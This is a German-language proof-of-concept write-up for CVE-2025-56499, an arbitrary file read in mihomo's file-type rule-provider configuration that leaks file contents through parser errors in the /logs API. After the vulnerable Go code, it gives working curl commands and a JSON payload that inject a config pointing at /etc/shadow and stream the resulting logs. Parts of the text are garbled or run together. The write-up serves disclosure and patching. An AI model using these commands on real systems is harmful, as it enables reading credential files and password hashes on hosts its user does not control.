
Proof-of-Concept-Exploit für CVE-2025-56499, der das beliebige Lesen von Dateien über eine fehlende Pfadvalidierung in der rule-provider-Konfiguration von mihomo demonstriert, mit protokollbasierter Datenextfiltration.
Beliebiges Dateilesen durch fehlende Pfadvalidierung im lokalen Regelanbieter
Upstream-Fix: https://github.com/MetaCubeX/mihomo/pull/2177
Betroffene Versionen: mihomo <= v1.19.11
Beim Parsen der rule-providers-Konfiguration validiert der Zweig type = "file" den angegebenen Pfad nicht. Ein authentifizierter Angreifer, der schema.Path kontrolliert, kann den Anbieter auf jede lesbare lokale Datei verweisen. Da die meisten beliebigen Dateien nicht dem erwarteten Regelformat entsprechen, werden Parsing-Fehler (einschließlich erheblicher Dateiinhaltsfragmente) in die In-Memory-Logs ausgegeben und über die /logs-API offengelegt. Da mihomo oft mit erhöhten Rechten (root/Administrator) läuft, führt dies zu einer Informationsoffenlegung mit hohem Schweregrad.
rules/provider/parse.go ruft der Fall schema.Type == "file" nur C.Path.Resolve() auf und erzwingt nie C.Path.IsSafePath() oder eine gleichwertige Whitelist-/Sandbox-Einschränkung.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
Dekzite des Dateizweigs:
/logs wiederholt ab oder streamt sie, um Parser-Fehlerausgaben zu erfassen./configs mit einem bösartigen rule-providers-Eintrag (type = file und Ziel-Dateipfad).Logs abhören (Beispiel-Token Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
Konfiguration zum Lesen von /etc/shadow einspielen:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
Unescaped Payload:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
Ergebnis: Parsing-Fehlerzeilen in /logs enthalten Fragmente von /etc/shadow (Beispiel-Screenshot):
